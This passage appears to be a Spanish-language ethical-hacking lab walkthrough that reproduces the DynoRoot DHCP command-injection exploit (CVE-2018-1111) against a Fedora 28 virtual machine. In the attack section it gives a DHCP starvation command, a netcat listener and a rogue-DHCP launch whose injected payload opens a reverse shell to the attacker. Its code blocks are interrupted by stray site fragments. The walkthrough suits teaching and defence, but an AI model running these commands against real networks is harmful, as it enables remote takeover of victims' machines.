      Una vez que el DHCP benigno se haya quedado sin direcciones, este script estará listo para ofrecer ofertas DHCP incrustadas con el parámetro malicioso. Este script es una versión modificada de la CVE original): ```bash git clone 'https://github.com/baldassarreFe/CVE-2018-1111' --branch 'feature/ignore-mac'
      root@kitploit:~

    Víctima Fedora

    La máquina víctima no está configurada de ninguna manera en particular, es solo una instalación de Fedora 28 con un NetworkManager vulnerable.

    Creación de VM

    Descargue la ISO de Fedora:```bash wget 'https://archives.fedoraproject.org/pub/archive/fedora/linux/releases/28/Server/x86_64/iso/Fedora-Server-dvd-x86_64-28-1.1.iso' md5sum --check << EOF 18740b445159c54d10bd887650e8d1d7 Fedora-Server-dvd-x86_64-28-1.1.iso EOF

    root@kitploit:~
    Crear la VM:
    - Interfaz de red 1 conectada a la red NAT predeterminada de VirtualBox
    - Interfaz de red 2 conectada a la red interna `intnet`\
      (la "f" en la dirección MAC significa Fedora)
    - Redirección de puertos desde un puerto `600x` en el anfitrión al puerto SSH en la máquina virtual```bash
    VM_NAME="fedora"
    VRDE_PORT=5003
    SSH_PORT=6003
    VM_MAC='08:00:ff:ff:ff:ff'
    
    VBoxManage createvm --name "${VM_NAME}" --ostype Fedora_64 --register
    VBoxManage modifyvm "${VM_NAME}" \
      --memory 2048 \
      --acpi on \
      --boot1 dvd \
      --nic1 nat \
      --nic2 'intnet' \
      --macaddress2 "${VM_MAC//:/}" \
      --natpf1 "guestssh,tcp,,${SSH_PORT},,22" \
      --audio none
    
    VBoxManage createhd disk --filename "${VM_NAME}.vdi" --size 10000
    VBoxManage storagectl "${VM_NAME}" --name "IDE Controller" --add ide --controller PIIX4
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 0 \
      --type hdd \
      --medium "${VM_NAME}.vdi"
    
    VBoxManage storageattach "${VM_NAME}" \
      --storagectl "IDE Controller" \
      --port 0 \
      --device 1 \
      --type dvddrive \
      --medium "$(realpath Fedora-Server-dvd-x86_64-28-1.1.iso)"
    

    Si algo sale mal:```bash VBoxManage unregistervm "${VM_NAME}" --delete

    root@kitploit:~
    #### Instalación del SO
    La primera vez que iniciamos la máquina necesitamos un escritorio virtual para seguir los pasos de instalación. Podemos iniciar la máquina virtual en modo headless y usar `rdesktop-vrdp` para conectarnos. Si VirtualBox se ejecuta en un ordenador de escritorio, podría ser más fácil iniciar la máquina virtual desde la GUI, pero este método funcionará incluso con un host VirtualBox remoto.```bash
    VBoxHeadless --startvm "${VM_NAME}" --vrde on --vrdeproperty "TCP/Ports=${VRDE_PORT}" &
    sleep 12 # Fedora is slow...
    rdesktop-vrdp "localhost:${VRDE_PORT}"
    kill %%
    

    Instalar configuración:

    • Nombre de host fedora
    • Usuario victim
    • Contraseña vic
    • Configurar enp0s8 para usar DHCP
    • El servidor SSH está habilitado por defecto

    Después de la instalación, apague, retire el iso y deshabilite VRDE:```bash VBoxManage storageattach "${VM_NAME}"
    --storagectl "IDE Controller"
    --port 0
    --device 1
    --type dvddrive
    --medium "none" VBoxManage modifyvm "${VM_NAME}" --vrde off

    root@kitploit:~
    #### Inicio de sesión SSH
    Para facilitar el acceso, podemos instalar la clave SSH creada anteriormente en la máquina `victim`:```bash
    VBoxHeadless --startvm "${VM_NAME}" &
    sleep 5
    ssh-copy-id -i ~/.ssh/ethhack.pub victim.ethhack
    ssh victim.ethhack
    

    Redes

    Verifique que la interfaz enp0s8 está usando DHCP:```bash sudo nmcli device show enp0s8

    root@kitploit:~
    Si no, se puede configurar usando:```
    sudo nmcli connection down   enp0s8
    sudo nmcli connection modify enp0s8 IPv4.method auto
    sudo nmcli connection modify enp0s8 IPv4.address ''
    sudo nmcli connection up     enp0s8
    

    Para revertir a una IP estática:```bash sudo nmcli connection down enp0s8 sudo nmcli connection modify enp0s8 IPv4.address 192.168.0.99/24 sudo nmcli connection modify enp0s8 IPv4.method manual sudo nmcli connection up enp0s8

    root@kitploit:~
    ## Realizando el ataque
    
    Los siguientes pasos, ejecutados en orden, mostrarán el ataque DHCP.
    Sugerimos configurar un multiplexor de terminal como [Byobu](https://www.byobu.org/) para facilitar 
    saltar de una máquina a otra.
    
    Antes del ataque:
    1. Iniciar las 3 máquinas virtuales, que se conectarán automáticamente al DHCP benigno
    2. Desconectar la máquina Fedora y limpiar los archivos de concesión DHCP para simular una conexión nueva
    3. Reiniciar el servidor DHCP para simular una conexión nueva
    
    El ataque en sí consiste en:
    1. Lanzar una serie de solicitudes DHCP REQUEST falsas desde el atacante para _agotar_ el servidor DHCP benigno
    2. Iniciar el servidor DHCP malicioso que enviará las OFFERs maliciosas a la víctima
    3. Reconectar la máquina Fedora y esperar a que NetworkManager emita un DHCP DISCOVER
    4. Esperar a que la shell inversa se conecte
    
    Si algo sale mal, detenga todos los servicios relevantes y comience de nuevo.
    
    ### Puerta de enlace
    Limpiar las concesiones DHCP antiguas y la tabla ARP, luego reiniciar el DHCP:```bash
    sudo systemctl stop isc-dhcp-server
    sudo rm /var/lib/dhcp/dhcpd.leases*
    sudo ip link set arp off dev enp0s8
    sudo ip link set arp on dev enp0s8
    
    sudo systemctl start isc-dhcp-server
    tail -f /var/log/syslog | grep --line-buffered 'dhcpd' | grep -E 'dhcpd|attacker|fedora|'
    

    Atacante

    Obtén una nueva concesión DHCP:``` sudo dhclient -r enp0s8 sudo dhclient -v enp0s8

    root@kitploit:~
    Grabar tráfico DHCP usando `tcpdump`:```bash
    sudo ip link set enp0s8 promisc on
    sudo tcpdump -i enp0s8 -w attack.pcap 'arp or icmp or port 67 or port 68'
    

    Alternativamente, VirtualBox también puede grabar tráfico:```bash VBoxManage modifyvm "attacker" --nictrace2 on --nictracefile2 capture.pcap VBoxManage modifyvm "attacker" --nictrace2 off

    root@kitploit:~
    Iniciar DHCP starvation (ejecutar como `root`):```
    sudo su && cd && conda activate dynoroot
    python FEP3370-advanced-ethical-hacking/starver.py \
      --interface  enp0s8 \
      --pool-start 192.168.0.100 \
      --pool-end   192.168.0.105
    

    Usa netcat para escuchar conexiones de la víctima:``` nc -v -l -p 1337

    root@kitploit:~
    Iniciar ataque (ejecutar como `root`):```bash
    sudo su && cd && conda activate dynoroot
    MY_IP=$(ip -f inet addr show enp0s8 | awk '/inet / {print $2}' | cut -d'/' -f1)
    MY_MAC=$(ip link show enp0s8 | awk '/link\/ether / {print $2}' | cut -d'/' -f1)
    python CVE-2018-1111/main.py \
      -i enp0s8 \
      -s 192.168.0.0/24 \
      -g 192.168.0.1 \
      -d 'victim.net' \
      -m "${MY_MAC}" \
      -p "nc -e /bin/bash ${MY_IP} 1337"
    

    Víctima

    Limpiar concesiones DHCP antiguas y reconectar:``` sudo nmcli connection down enp0s8 sudo find /var/lib/NetworkManager -name 'dhclient-*-enp0s8.lease' -delete

    sudo nmcli connection up enp0s8 nmcli

    root@kitploit:~
    ### Análisis
    
    #### Captura de video
    El siguiente [video](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/dynoroot.mp4) demuestra la ejecución del ataque siguiendo los
    pasos anteriores. En el video, es posible observar:
    1. El intercambio DHCP de 4 vías entre el `gateway` y el `attacker`
    2. El ataque de inanición DHCP, tanto en la consola del atacante 
       y en los logs del servidor DHCP (note el `NACK` debido a la concesión existente del atacante)
    3. El mensaje "no free leases" del `gateway` cuando la `victim` transmite un DHCP `DISCOVER`
    4. Los mensajes DHCP manipulados del servidor DHCP rogue que ofrece `192.168.0.2`
    5. La confirmación de que netcat ha recibido la conexión de reverse shell desde `192.168.0.2`
    6. Las opciones DNS falsas recibidas por la `victim`, 
       es decir, dirección DNS `192.168.0.1` y dominio `victim.net`
    7. La ejecución remota exitosa de comandos simples en la máquina víctima
    8. El DHCP `RELEASE` enviado al final del ataque
    
    <a href="https://youtu.be/rgjMzQ5ExyA">
      <img src="https://assets.kitploit.com/production/public/readmes/23114/de82a8bbb23835dcc4d0836fe7f906d9610b860d02a0e92b903191be840a799c.gif" style="position:relative; left:50%; transform:translateX(-50%); max-width:1000px;" width="90%">
    </a>
    
    #### Análisis de tráfico
    
    El [archivo de captura](https://github.com/baldassarrefe/fep3370-advanced-ethical-hacking/blob/main/media/attack.pcap) que contiene la traza del ataque puede analizarse en
    [Wireshark](https://wiki.wireshark.org/DHCP). En la captura podemos notar:
    1. El intercambio DHCP de 4 vías entre el `gateway` y el `attacker`
    2. El ataque de inanición DHCP
    3. El intercambio DHCP iniciado por la `victim` y completado por el `attacker`
    4. Las solicitudes y respuestas ARP _who-has_ cuando la `victim` se conectó a la sesión netcat 
       en el `attacker`
    
    <figure style="text-align:center">
      <img src="https://assets.kitploit.com/production/public/readmes/23114/4503aa77c165c6b2b669f178171dbea60d054b88b56f5d857918fd257e2c6b94.png" style="max-width:800px;" width="90%"/>
      <figcaption>Captura de paquetes del ataque, la opción DHCP relacionada con el exploit está resaltada. Las letras en las direcciones MAC significan: <code>d</code> servidor DHCP, <code>a</code> atacante, <code>f</code> víctima Fedora</figcaption>
    </figure>
    
    ## Trabajo futuro
    DynoRoot apunta a distribuciones antiguas de Fedora y RedHat, y ha sido parcheado en versiones más recientes.
    Por lo tanto, las posibilidades de realizar este exploit en el mundo real son limitadas. Afortunadamente, los ataques DHCP
    no se limitan a la ejecución remota de código: cualquier tipo de opción manipulada será aceptada por el cliente
    independientemente de la presencia de la vulnerabilidad DynoRoot. La forma más sencilla de explotar este comportamiento
    es anunciar una máquina controlada por el atacante como la puerta de enlace de red o como el DNS para una determinada
    zona, lo que permite monitorear, inspeccionar y redirigir cualquier tráfico adicional.
    
    Otra dirección interesante se refiere a los ataques de inanición DHCP. El ataque presentado en este proyecto
    se basa en inundar el servidor DHCP con `REQUESTS` desde direcciones MAC falsificadas, lo que no es precisamente
    sigiloso. Este artículo de blog explora la posibilidad de 
    [realizar ataques de inanición sin enviar un solo paquete DHCP](https://medium.com/bugbountywriteup/dhcp-starvation-attack-without-making-any-dhcp-requests-bef0022133c9) 
    sino basándose en respuestas ARP falsificadas.
    
    ## Créditos
    [CVE-2018-1111](https://access.redhat.com/security/vulnerabilities/3442151) fue reportado a Red Hat
    por [Felix Wilhelm](https://twitter.com/_fel1x) del equipo de seguridad de Google.
    
    El script python para realizar el exploit es del [repositorio](https://github.com/kkirsche/CVE-2018-1111) de GitHub de [Kevin Kirsche](https://github.com/kkirsche) con ligeras modificaciones para ignorar
    la propia dirección MAC del atacante.
    
    Descargar herramienta